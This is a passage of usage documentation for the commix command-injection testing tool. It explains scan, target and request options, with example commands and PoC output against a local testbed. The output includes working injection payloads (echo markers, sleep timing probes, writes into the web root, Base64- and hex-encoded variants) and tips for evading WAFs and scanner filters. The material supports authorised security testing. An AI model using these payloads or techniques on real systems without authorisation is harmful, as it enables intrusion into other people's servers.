- Use this to enforce predictable scan durations during scheduled assessments or integration testing.
- Combine with
--delayor--techniqueto better manage the scan's depth and performance within the time limit.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --time-limit=1800PoC (with --time-limit=3 to keep the demonstration
short): the run is cut off as soon as the limit is reached, rather than at the next natural
stopping point:
[07:59:46] [info] Testing connection to the target URL.
[07:59:49] [critical] Reached the specified time limit of 3.0 second(s).
Switch: --batch
This option runs commix in fully non-interactive mode, automatically selecting default responses to any prompts or confirmations during the scan. It is ideal for automation, scripting, and headless environments where manual input is unavailable or impractical. Using this option enables smooth, unattended execution of scans - making commix suitable for integration into automated testing pipelines, scheduled jobs, or batch operations.
Note
- Be aware that some decisions will default automatically, which may affect scan behavior.
- Combine with logging or verbose options to capture details during unattended runs.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --batch PoC: run without --batch against a list of targets
(see -m below) and every decision point - which target to test, whether to keep testing others,
whether to exploit a finding - stops to ask; with --batch, each is auto-answered with its bracketed
default and the run never blocks on input:
[1/2] URL - GET http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1
Do you want to use URL #1 for testing? [Y/n] Y
GET parameter 'addr' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Do you want to exploit this injection point? [Y/n] Y
Switch: --skip-heuristics
This option disables heuristic detection during the scan, which can speed up the process but might cause some vulnerabilities to be overlooked. It is particularly useful when you want to manually specify parameters or focus on very specific behaviors, enabling more targeted and efficient testing.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --skip-heuristicsPoC: the "Performing heuristic (basic) test" step that a plain run always shows first is simply absent - detection goes straight to the technique itself:
[07:58:42] [info] Setting GET parameter 'addr' for tests.
[07:58:52] [info] Testing the results-based classic command injection technique, please wait... (done)
[07:58:52] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --codec=CODEC
This option forces commix to use a specific codec (i.e. character encoding) when sending HTTP requests. It is particularly useful when targeting applications that utilize non-standard or legacy encodings, ensuring payloads are correctly encoded and interpreted by the server.
Note
- Without this option, commix reads a page in the character encoding that page declares for itself, so a target that answers in a legacy encoding is read correctly without being told to.
- A declared encoding is only a claim, and it is acted on only where being wrong about it costs
nothing but the accented characters. A page claiming one of the wide encodings (e.g.
UTF-16) while serving something else would be read as gibberish, so those are left alone. - This option outranks whatever the page declares, for a target whose declaration is wrong.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --codec="utf-8"Option: --charset=CHARSET
The blind techniques read a command's output one byte at a time, each byte found by halving what it could still be until one candidate is left. This option says what it could be. Left unset that is every printable character; told that the output is a number, a hash, or anything else drawn from a handful of characters, each byte takes fewer halvings - and a halving not made is a request not sent.
It applies to the boolean-based and the time-related techniques alike, which are the ones that go looking for a byte at all. The results-based technique reads the output straight off the page and has nothing to search.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --charset="0123456789abcdef"PoC (--technique=b): the same output comes back
either way, for fewer requests - and the saving holds whether or not the characters given sit next
to one another:
--os-cmd |
without --charset
|
with --charset
|
|
|---|---|---|---|
echo 12345678901234567890 |
239 | 174 | --charset="0123456789" |
echo deadbeefdeadbeefdead |
258 | 211 | --charset="0123456789abcdef" |
Note
- A character the output turns out to hold but the charset left out is still searched for, the
long way, rather than given up on - so a charset that accounts for most of the output costs only
the characters it missed. That holds for a character sitting between the charset's own, in a gap it
skipped over. One sitting outside the span the charset covers is not reached, below it (a space,
below every character of
"0123456789abcdef") or above it alike, and comes back as?with a word about the charset beside the retrieved output - the search asks whether the byte is at least some ordinal, so a byte above the charset answers yes to all of them and settles on the charset's last character, which is asked for by name before it is believed and reported unread where it does not hold. Without--charsetthe pool is commix's own, and a byte above it is looked for in the rest of the range a byte can be, so output that is not ASCII is still read. - It is a statement about what the output is made of, not a filter applied to it.
Switch: --check-internet
This option verifies whether the system has an active internet connection before starting a scan. It is primarily used to ensure that dependencies, update checks, or external integrations can function properly during the assessment.
python commix.py --check-internet[info] Checking for internet connection.
Option: --answers=ANSWERS
This option enables automation by predefining responses to commix’s interactive prompts. It allows you to control decision points during the scan - such as whether to follow redirects, apply specific techniques, or proceed with detected injection points - without requiring manual input. This is especially useful for scripting, batch scanning, or CI/CD integrations.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --answers="quit=N,follow=N"Under --batch it is also the one way to say yes to a question whose default is no. The
results-based question about whitespace, for instance, is not even reached in a batch run unless it
is answered by name: --answers="preserve whitespace=y".
PoC (-m targets.txt with
--answers="the others=N,exploit=N" so it matches this run's actual prompt wording): the
"Do you want to exploit this injection point?" question, whose bracketed default is Y, is
answered N instead, without ever blocking for input:
GET parameter 'addr' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Do you want to exploit this injection point? [Y/n] N
Switch: --abort-on-empty
This option stops retrieving an execution output as soon as it turns out to be empty, instead of probing for the remaining characters. On time-related techniques every character costs several requests, so aborting early avoids spending them on output that is not there.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --abort-on-emptyPoC (--technique=t --os-cmd="echo -n" so the command
itself returns nothing): rather than probing further, the empty result is reported and retrieval
stops there:
[08:20:19] [critical] The 'echo -n' command produced no output on the target.
[08:20:19] [error] Execution of the 'echo -n' command did not return any output.
Switch: --parse-errors
A target that hands the value to a shell, or evaluates it as code, and then shows what came back will sometimes show what the shell or the interpreter thought of it: sh: 1: whoami;: not found, a syntax error naming the token it stopped at, 'whoami' is not recognized as an internal or external command, or the Parse error PHP printed instead of running anything. This switch reads those out of each response and prints them as they are seen, each distinct message once rather than once per request.
What makes them worth reading is not the text but what it proves. Neither a shell nor an interpreter complains about something it was never given, so a page saying any of this has taken what it was sent and failed to make sense of it - which is a different answer from a parameter that never reached either, and the two are otherwise indistinguishable from the outside. A run that ends without a finding says so on its own where errors like these were seen, whether or not this switch was given; the switch is what shows their wording, which is usually enough to say which separator or quoting the payload needed.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --parse-errorsOption: --save=SAVE_CONFIG
This option writes the options the run was given to an INI file, grouped into the same sections the help lists them under. With 150-odd options to choose from, the set that suits a particular target, engagement or pipeline is worth keeping rather than reassembling on the command line each time.
The file is written once the command line has been checked over, so a profile is never made out of one that would not have run.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--level=3 --technique=RT --random-agent --save=profile.iniPoC: the file is written under the same group headings -hh uses, every option under the one it belongs to:
[General]
batch = True
...
[Target]
url = http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1
...
[Request]
PoC: the options given on the command line, plus every other option at its default, are written out grouped by section:
[General]
batch = True
flush_session = True
[Request]
random_agent = True
[Injection]
tech = r
[Detection]
level = 3Option: -c CONFIG_FILE
This option reads back a file written by --save and runs with what it holds. Anything also given on the command line wins over the file, which is what lets a profile stand for the settled part of a run while the target, or whatever else is being varied, is still given directly.
python commix.py -c profile.ini --url="http://commix-testbed/scenarios/regular/GET/blind.php?addr=127.0.0.1"PoC: loading the profile saved above carries its
--random-agent and --level=3 back in, without either being given again on this command line -
a random User-Agent is fetched, and, because of the level, the header itself is tested too:
[08:00:02] [info] The fetched random HTTP User-Agent header value is 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0'.
[08:00:17] [info] Setting User-Agent HTTP Header for tests.
Note
- The file is an ordinary INI file and can be written or edited by hand; an option name it carries that this version does not have is reported and ignored, rather than ending the run.
- A value that is merely the option's own default carries nothing, so editing a profile down to the few lines that matter is enough.
Note: Most applications never show them. A command run through
exec()orshell_exec()gives back what it printed on standard output, while the shell's diagnostics go to the server's error log - so these messages reach the page only where the application redirects them into its output, or where the language itself reports the failure.
Target options specify the URL or application entry point for testing, including parameters to test, HTTP methods, and ways to define injection points explicitly. They also include options for specifying data to be sent to the server, such as POST data or HTTP headers.
Option: -u URL, --url=URL
This option is the main entry point for commix to begin injection testing. You must specify a URL that includes parameters potentially vulnerable to command injection. It supports both HTTP and HTTPS URLs. This option is mandatory unless the target is defined through alternative methods such as log files or bulk input files.
Note
- A fragment (e.g.
#section) is ignored, with a warning, since it never leaves the browser and a payload placed after it would not reach the target. - A URL given without a scheme is read as an HTTP one (i.e.
commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1is read ashttp://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1), unless it names port 443, which is read as HTTPS.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1"PoC: the addr parameter is confirmed injectable via
all four techniques:
Identified the following injection point(s) with a total of 63 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo ZOPOAQ$((74+97))$(echo ZOPOAQ)ZOPOAQ;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;VURP=$(echo HCYNZS);if [ ${#VURP} -eq 6 ];then echo QWHKWV;fi;
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1;VURP=$(echo QDGNVH);VURP1=${#VURP};sleep $((5*(6==$VURP1)));
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1;echo ANNHDX >/var/www/commix-testbed.com/public_html/ANNHDX.txt;
Switch: --url-reload
This option helps when the application state changes after each injection attempt, ensuring that commix works with a fresh session or page state every time. It is especially useful for applications that reset parameters or session data on each request, maintaining consistent testing conditions.
python commix.py --url="http://commix-testbed/scenarios/stateful/url_reload.php" --data="addr=127.0.0.1" --url-reloadOption: -l LOGFILE
This option allows scanning multiple URLs gathered from a proxy log without manually specifying them individually. The log file should contain standard HTTP requests intercepted during a proxy session, enabling automated batch testing of all captured targets.
A textual export (entries delimited by rows of =), an XML history (requests stored base64-encoded), and a HAR export (JSON, the format --har itself writes a run's traffic to) are all recognized. Every request found is tested in turn, carrying its own method, headers, cookies and body. The responses recorded beside the requests are ignored, as are requests for static files, and requests reaching the same endpoint with the same parameters are tested once.
Use --scope to keep only the targets that are within scope of the assessment.
python commix.py -l proxy.logPoC (with a hand-built log of two ======-delimited
requests, one against the testbed and one against an unrelated host to also show a target the
proxy visited elsewhere): each request is parsed out and tested in turn:
[08:09:46] [info] Parsing target using the 'proxy.log' file.
[08:09:46] [info] Found a total of 2 targets in the provided file.
[1/2] URL - GET http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1
[08:09:55] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
[2/2] URL - GET http://www.out-of-scope-example.com/scenarios/regular/GET/blind.php?addr=127.0.0.1
[08:09:55] [critical] URL Error: [Errno 8] nodename nor servname provided, or not known
PoC (a HAR file instead - here, one written by a prior run's own --har): read back the same way:
python commix.py -l run.har[info] Parsing target using the 'run.har' file.
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: -m BULKFILE
This option makes commix scan each URL sequentially, making it ideal for bulk testing or automation across multiple targets. It saves time by running scans against several endpoints automatically, without requiring manual input for each one.
python commix.py -m targets.txtPoC (targets.txt holding the classic.php and
blind.php GET scenarios): both are tested in turn, the first found injectable, the second
correctly reported as not (a plain --technique=r run cannot reach blind.php's boolean-only
point):
[08:10:06] [info] Found a total of 2 targets.
[1/2] URL - GET http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1
[08:10:15] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
[2/2] URL - GET http://localhost:8081/scenarios/regular/GET/blind.php?addr=127.0.0.1
[08:10:27] [warning] GET parameter 'addr' does not seem to be injectable.
Note
Where a run has more than one target to get through - a list given here, a crawl, a page of forms, a sitemap, or a request log holding several requests - each injection point found is reported and then asked about before anything is done with it:
Do you want to exploit this injection point? [Y/n]
Answering no leaves the finding recorded - in the log, in the CSV that such a run keeps, and in a --report-json report - and moves on to the next target without opening a shell, running --os-cmd or enumerating anything. It is asked only where there is another target waiting; a run pointed at one target does not stop to ask about it.
Option: -r REQUESTFILE
This option is useful for complex requests that cannot be easily specified on the command line, such as those with custom headers, cookies, or POST data. The request file must contain the full raw HTTP request exactly as it is sent to the server, allowing precise replay and testing.
A file holding more than one request is also accepted, in which case every request it describes is tested in turn, exactly as with -l.
python commix.py -r request.txtPoC (request.txt holding a raw GET /scenarios/regular/GET/classic.php?addr=127.0.0.1 HTTP/1.1 request with a Host header): the
request is parsed back into a target and tested exactly as --url would:
[08:10:27] [info] Parsing HTTP request using the 'request.txt' file.
[08:10:37] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --crawl=CRAWLDEPTH
This option automatically crawls the target website starting from the specified URL to discover additional URLs for testing. The crawling depth controls how many link levels the spider follows (default is 1). It is useful for uncovering hidden or dynamically generated URLs that may be vulnerable to command injection.
Note
- Higher crawl depths can significantly increase scan duration and server load.
- Use option
--crawl-excludeto optimize crawling and avoid irrelevant pages.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --crawl=2PoC: the crawl works outward one depth at a time, reporting how many links it found and visited at each:
[08:05:50] [info] Searching for usable links with depth 1.
[08:05:50] [info] 78/78 links visited.
[08:05:51] [info] Searching for usable links with depth 2.
[08:05:51] [info] 15/15 links visited.
Option: --crawl-exclude=REGEX
This option lets you exclude pages from crawling by specifying a regular expression. For example, to skip all pages containing the keyword logout in their paths, you can use --crawl-exclude=logout. This helps focus the scan on relevant areas and avoid undesired URLs.
python commix.py --url="http://commix-testbed/" --crawl=2 --crawl-exclude="GET"Note
- This option requires
--crawlto also be given; on its own it is refused with "The '--crawl-exclude' option requires usage of the '--crawl' option."
PoC: excluding paths matching GET drops every link
under /scenarios/regular/GET/ from the crawl, cutting the depth-1 total from the 78 seen without
the switch down to 56:
[08:10:37] [info] Searching for usable links with depth 1.
[08:10:38] [info] 56/56 links visited.
Option: --second-url=URL
A target that stores what it is given and runs it somewhere else - a queue, a log viewer, an admin page - answers the injected request with nothing at all. This option names the page where the result shows up, so that the answer is looked for there instead of in the response to the payload.
Note
- The page is fetched after every payload, so the run costs roughly twice the requests it otherwise would.
- Where the second-order page needs more than a plain
GET- a method, headers or a body of its own - use--second-reqinstead.
python commix.py \
--url="http://commix-testbed/scenarios/stateful/second_order.php" \
--data="addr=127.0.0.1" \
--second-url="http://commix-testbed/scenarios/stateful/second_order_log.php"Option: --second-req=FILE
This option does what --second-url does, for a second-order page that cannot be reached with a plain GET. The file holds a raw HTTP request - method, headers and body - of the kind a proxy writes out, and that request is the one sent to read the result.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --second-req="/tmp/second.txt"Option: --scope=REGEX
This option restricts testing to the targets whose URL matches a given regular expression, which is applied case-insensitively. It is useful whenever a run produces more targets than intended - a proxy log spanning every host that was browsed, a bulk file, a piped list of targets, or a crawl - and only some of them are within the engagement's scope. Targets left out are reported once, before testing begins.
The filter applies to targets parsed with -l and -r, to those provided with -m or through piped stdin, and to those discovered while crawling. A target given directly with -u is always tested, since it was named explicitly.
python commix.py -l burp.log --scope="(www)?\.target\.(com|net|org)"PoC (reusing the two-target proxy.log from -l
above with --scope="localhost"): the run goes straight from parsing to testing a single target,
skipping the out-of-scope host without a further prompt about it:
[08:09:56] [info] Using regular expression 'localhost' for filtering targets.
[08:09:56] [info] Parsing target using the 'proxy.log' file.
[08:10:05] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Switch: --forms
This option parses HTML forms found during crawling and tests their input fields for command injection. It requires the --crawl option to discover and test forms on the target website.
python commix.py --url="http://commix-testbed/" --crawl=2 --formsPoC: the crawl's forms are counted, and the first one
found - the classic.php scenario's own addr field - is confirmed injectable through it:
[08:05:53] [info] Found a total of 21 targets and 34 forms.
[1/34] FORM - POST http://localhost:8081/scenarios/regular/POST/classic.php - addr=
[08:05:54] [info] POST parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: -x SITEMAP_URL
This option allows commix to efficiently gather all URLs listed in the sitemap.xml file for scanning. This often provides comprehensive coverage of the entire application structure, improving the chances of identifying vulnerabilities across all accessible endpoints.
python commix.py -x http://www.target.com/sitemap.xmlOption: --openapi=OPENAPIFILE
Crawling finds what a site links to, and an API links to nothing: its endpoints are reached by clients that were told about them. Increasingly what tells them is a machine-readable description the service publishes itself, and that description is the whole testable surface written down - every path, the method each answers to, the parameters each takes and the shape of every request body.
This option reads such a description, from a local file or a URL, and derives one concrete request per operation. Each parameter and body is filled from the examples and types the document gives, so the request is one the target will accept far enough to run what it is given. A path parameter, a header and a cookie each carry the custom injection marker, since that is where a described API puts the values it acts on.
Both OpenAPI v3 and Swagger v2 are read, in JSON or - where the optional pyyaml module is available - in YAML.
python commix.py --openapi="http://commix-testbed/scenarios/discovery/openapi.json"Note
- An operation that cannot be built into a request is skipped with a word about why, so a partial or loose description still yields what it can.
- Operations answering to a method that changes state (
POST,PUT,PATCH,DELETE) are counted and reported before the scan starts, because testing them may create, alter or remove data on the target. - A description that declares authentication is pointed out when nothing was given to authenticate with, since every request would otherwise be refused.
Option: --openapi-base=OPENAPIBASE
A description fetched by URL resolves its relative servers entries against the address it came from. One read from a local file has no such address, so a description that names no host of its own yields no absolute target. This option supplies that base.
python commix.py --openapi="/tmp/openapi.json" --openapi-base="http://commix-testbed"Option: --openapi-tags=OPENAPITAGS
A large description can name thousands of operations, and scanning all of them is rarely what is wanted. OpenAPI groups operations by tag, and this option keeps only those carrying at least one of the tags given.
python commix.py --openapi="http://commix-testbed/scenarios/discovery/openapi.json" --openapi-tags="lookup"Option: --method=METHOD
By default, commix attempts to determine and use the most appropriate HTTP method for interacting with the target (typically GET or POST). However, some applications may require or behave differently with other methods such as PUT, DELETE, PATCH, or even less common ones like OPTIONS or HEAD. This option allows you to override the default behavior and explicitly set the HTTP method commix should use in its requests. This can be essential for testing non-standard endpoints, RESTful APIs, or custom HTTP behavior that depends on specific verbs.
It can be useful when:
- The endpoint accepts input only via a specific method not auto-selected by commix.
- You want to test whether different methods are treated inconsistently or introduce vulnerabilities (e.g.,
PUTvsPOST).
python commix.py --url="http://commix-testbed/scenarios/regular/PUT/classic.php" --data="addr=127.0.0.1" --method="PUT"PoC: the parameter is set and tested as a PUT
parameter throughout, not a POST one:
[08:05:29] [info] Setting PUT parameter 'addr' for tests.
[08:05:29] [info] PUT parameter 'addr' appears to be injectable via results-based classic command injection technique.
These options configure the details of the HTTP request sent to the target, such as custom headers, cookies, authentication credentials, timeouts, proxy usage, and user agent strings. They enable tailoring the request to bypass security controls or fit specific scenarios.
Option: -d DATA, --data=DATA
By default, commix uses the HTTP GET method to send requests. However, if you provide data using the --data option (which includes key-value pairs meant for the request body), commix automatically switches to using the POST method. This allows it to simulate form submissions or API interactions that rely on request bodies.
It can be useful for:
- Sending the request as
POSTinstead ofGET, which may be necessary when targeting endpoints that only accept or process input through the request body. This approach also helps bypass certain server-side filters or access control rules that apply differently toGETandPOSTmethods. - Testing parameters from both the query string (
URL) and thePOSTbody for command injection vulnerabilities, ensuring that all possible entry points are evaluated.
Note
- You can override the method explicitly using
--method(if needed). - This approach is useful for testing forms, and APIs that expect
POSTed data. -
JSONandXMLbodies are recognized whatever their shape, including a body holding a single parameter or a nested one, and are sent with the layout they were given: indentation, the spacing around separators and the whitespace between tags are all kept as provided. - A key that appears more than once in
JSONdata is reported, since only its last occurrence survives parsing. - A
GraphQLdocument is recognized as well, whether it arrives on its own or inside theJSONenvelope a client sends. What is tested is the argument inside the document rather than the document around it: a payload appended to the whole query lands past its last brace and only makes it invalid. A document sent on its own is given theapplication/graphqlcontent type. - Where a client passes its argument in
variablesinstead of writing it into the query, that value is an ordinaryJSONmember and is tested as one - reported under the path it sits at, such asvariables.host.
python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic.php" --data="addr=127.0.0.1&name=test"PoC: the method switches to POST and the addr
field of the body is confirmed injectable:
[08:05:39] [info] Setting POST parameter 'addr' for tests.
[08:05:39] [info] POST parameter 'addr' appears to be injectable via results-based classic command injection technique.
python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic_graphql.php" --data='query { ping(host: "127.0.0.1") }'Option: --host=HOST
This option is useful when testing virtual hosts or servers that rely on the Host header for routing requests. Setting a custom Host header helps target specific sites hosted on the same IP address or server.
Note
- By default
HostHTTP header is parsed from a provided target URL. - The
HostHTTP header is tested if the--levelis set to3. - Placing the
*injection marker in the value tests this header on its own, whatever the--levelis, and leaves the other headers alone.
python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic.php" --data="addr=127.0.0.1" --host="example.local"PoC: every request carries the given value instead of
the target's own host, and the injection point is still found normally since --level was left at
its default (the header itself is not what is being tested here):
Host: example.local
[08:22:20] [info] POST parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --referer=REFERER
This option sets a custom Referer HTTP header to simulate requests originating from a specific page or domain. It can be useful for testing how the target handles requests based on their referral source or to bypass certain access restrictions.
Note
- The
RefererHTTP header is tested if the--levelis set to3. - Placing the
*injection marker in the value tests this header on its own, whatever the--levelis, and leaves the other headers alone.
python commix.py --url="http://commix-testbed/scenarios/referer/referer(classic).php" --referer="https://google.com" --level=3 -p refererPoC: at --level=3 the header itself is set for
testing and confirmed injectable via all four techniques (-p referer keeps the run scoped to just
this header - without it, --level=3 sweeps every testable header and parameter, which costs far
more requests):
Identified the following injection point(s) with a total of 207 HTTP(S) requests:
Parameter: referer (HTTP Header)
* Technique: Results-based
* Type: Classic command injection
* Payload: https://google.com';echo NNUYKP$((31+93))$(echo NNUYKP)NNUYKP;'
* Technique: Boolean-based
* Type: Blind command injection
* Payload: https://google.com'\nZYPV=$(echo CKPGIW)\n[ ${#ZYPV} -eq 6 ]\n'
* Technique: Time-based
* Type: Blind command injection
* Payload: https://google.com';ZYPV=$(echo EYRSHP);ZYPV1=${#ZYPV};sleep $((5*(6==$ZYPV1)));'
* Technique: File-based
* Type: Blind command injection
* Payload: https://google.com';echo FAYCXX >/var/www/commix-testbed.com/public_html/FAYCXX.txt;'
Option: --user-agent
This option specifies a custom User-Agent string to mimic different browsers, devices, or clients. It helps test how the target responds to various user agents and can be used to bypass User-Agent-based filters or restrictions.
By default, commix performs HTTP requests with the following User-Agent HTTP header value:
commix/vX.Y.devZZ (https://commixproject.com)
Note
- The
User-AgentHTTP header is tested if the--levelis set to3. - Placing the
*injection marker in the value tests this header on its own, whatever the--levelis, and leaves the other headers alone.
python commix.py --url="http://commix-testbed/scenarios/user-agent/ua(classic).php" --user-agent="Mozilla/5.0" --level=3 -p user-agentPoC: the header is set for testing and confirmed
injectable via all four techniques, the given value carried into each payload (-p user-agent keeps
the run scoped to just this header):
Identified the following injection point(s) with a total of 207 HTTP(S) requests:
Parameter: user-agent (HTTP Header)
* Technique: Results-based
* Type: Classic command injection
* Payload: Mozilla/5.0';echo ZBUNJZ$((19+83))$(echo ZBUNJZ)ZBUNJZ;'
* Technique: Boolean-based
* Type: Blind command injection
* Payload: Mozilla/5.0'\nLVZO=$(echo GTSAAF)\n[ ${#LVZO} -eq 6 ]\n'
* Technique: Time-based
* Type: Blind command injection
* Payload: Mozilla/5.0';LVZO=$(echo VVZFBG);LVZO1=${#LVZO};sleep $((5*(6==$LVZO1)));'
* Technique: File-based
* Type: Blind command injection
* Payload: Mozilla/5.0';echo BFDUHA >/var/www/commix-testbed.com/public_html/BFDUHA.txt;'
Switch: --random-agent
This option instructs commix to use a randomly selected User-Agent header from a built-in list of common browser and device signatures.
It helps evade basic security mechanisms and filtering rules that:
- Block or throttle requests based on known scanner
User-Agents - Apply stricter rules to suspected automated tools
- Serve different content or behavior depending on the perceived client
Note
- The headers that go with a browser's
User-Agentfollow it:Acceptis sent as a browser sends it, and anAccept-Languageis added, in place of the catch-all*/*and the silence a scanner is recognised by. A browser'sUser-Agentover a scanner'sAcceptstill reads as a scanner to anything weighing the headers as a set. - Can be combined with
--headeror--headersfor further customization of HTTP headers. - Useful in stealth assessments or when bypassing naive WAFs and CDN edge filters.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --random-agentPoC: the fetched value is announced once, then used
as the User-Agent on every request of the run:
[08:31:28] [info] The fetched random HTTP User-Agent header value is 'Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'.
Switch: --mobile
This option sets the HTTP User-Agent header to mimic a smartphone or mobile device. It is useful for targeting mobile-specific application interfaces, content, or security behaviors that differ from desktop views. Some applications apply different validation or filtering rules to mobile clients, making this option essential when attempting to bypass device-specific protections or access mobile-only endpoints.
python commix.py --url="http://commix-testbed/scenarios/stateful/mobile.php?addr=127.0.0.1" --mobilePoC: the scenario only runs the command on its mobile
branch (a desktop User-Agent just gets the value echoed back, unexecuted); every request goes out
with a phone User-Agent instead of commix's own, and the mobile branch is caught as injectable:
GET /scenarios/stateful/mobile.php?addr=127.0.0.1&YITK=... HTTP/1.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1
[info] GET parameter 'addr' appears to be injectable via file-based blind command injection technique.
Option: --param-del=PDEL
This option lets you specify a custom delimiter character to split multiple parameters in HTTP requests. By default, commix expects parameters to be separated by the ampersand (&) character, which is standard in URL query strings and POST bodies. However, some applications or legacy systems may use alternative delimiters like semicolon (;) or others. Using this option ensures that commix correctly parses each parameter individually, allowing accurate injection testing on all supplied parameters regardless of the separator used.
python commix.py --url="http://commix-testbed/scenarios/stateful/param_del.php?addr=127.0.0.1;count=1" --param-del=";"PoC: this scenario parses QUERY_STRING by hand, on
; rather than &, so the query string has to be split the same way for addr to be tested on its
own rather than as one blob with the whole string in it. With --param-del=";" given, addr is
picked up and confirmed injectable via all four techniques:
Identified the following injection point(s) with a total of 63 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo GWPKWP$((65+98))$(echo GWPKWP)GWPKWP;
Option: --param-encoding=ENCODING
Some applications carry a parameter's value written in something rather than as it stands - Base64 in an identifier, hex in a token - and decode it before the value reaches whatever runs it. This option says so, naming the encoding for the parameters that use one, or one encoding for every parameter tested. The value is read back as what it stands for, the payload goes into that, and the whole value is written out again the way it arrived - alphabet, padding and all - so what the target receives is a value it recognises.
Note
- The encodings are
base64,base64-safe(the URL and filename alphabet of RFC 4648, written without padding),hexandjwt-kid. -
jwt-kidis for a parameter carrying a JSON Web Token: what it stands for is the token'skidfield, and writing it out again rebuilds the token around the new value with its claims and signature left exactly as they arrived.--jwtsets this up on its own where it finds a token that names one, so it rarely has to be asked for by hand. - Where nothing is named, a value that is written in one of these is recognised on its own and you are asked whether to keep it that way.
- A value that does not decode as the named encoding ends the run rather than being sent as something the target cannot read.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic_b64.php?addr=MTI3LjAuMC4x" --param-encoding="addr=base64"PoC: the payload is decoded into, injected as, and
re-encoded back into Base64 before it is sent. Left unrestricted, results-based, boolean-based and
file-based all confirm. Time-based does not settle on this host: the base64-encoded delay payload's
timing reads as unstable, and in --batch mode the default answer to "continue with a longer delay"
is yes, so the run spends several minutes bumping the delay before quietly dropping the technique
rather than skipping it outright - expect the run to take noticeably longer than the other examples
on this page:
Identified the following injection point(s) with a total of 125 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: MTI3LjAuMC4xO2VjaG8gV1dWWklaJCgoODUrOTgpKSQoZWNobyBXV1ZaSVopV1dWWklaOw==
* Technique: Boolean-based
* Type: Blind command injection
* Payload: MTI3LjAuMC4xJiZNV0k9IiQoZWNobyBPTldKV1ApIiYmWyAkeyNNV0l9IC1lcSA2IF0mJjo=
* Technique: File-based
* Type: Blind command injection
* Payload: MTI3LjAuMC4xJiZlY2hvIFFIWUFGSCA+L3Zhci93d3cvaHRtbC9RSFlBRkgudHh0JiY6
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic_hex.php?addr=3132372e302e302e31" --param-encoding=hexPoC: the same, in hex. Left unrestricted, results-based, boolean-based and file-based all confirm. Time-based has the same timing-noise trouble as the Base64 example above, and the same long, request-heavy detour before it drops out of the result:
Identified the following injection point(s) with a total of 131 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 3132372e302e302e313b6563686f20584d5250584f24282834302b35292924286563686f20584d5250584f29584d5250584f3b
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 3132372e302e302e313b52494d3d2224286563686f2044445a50514329223b6966205b20247b2352494d7d202d65712036205d3b7468656e206563686f2055474e524e4f3b66693b
* Technique: File-based
* Type: Blind command injection
* Payload: 3132372e302e302e313b6563686f20424754574145203e2f7661722f7777772f68746d6c2f4247545741452e7478743b
Option: --cookie=COOKIE
This option sets one or more custom cookie values to be included in the Cookie header of each request. It is particularly useful for maintaining authenticated sessions, simulating specific user roles or states, or reproducing application behavior under specific conditions. This allows commix to access and test parts of the application that are otherwise restricted to logged-in or session-specific users.
Note
- The cookie string should follow the standard format:
key1=value1; key2=value2.
python commix.py --url="http://commix-testbed/scenarios/cookie/cookie(classic).php" --cookie="addr=127.0.0.1" --level=2PoC: the addr cookie is set for testing and
confirmed injectable via all four techniques:
Identified the following injection point(s) with a total of 53 HTTP(S) requests:
Parameter: addr (Cookie)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo DNNYBR$((43+26))$(echo DNNYBR)DNNYBR;
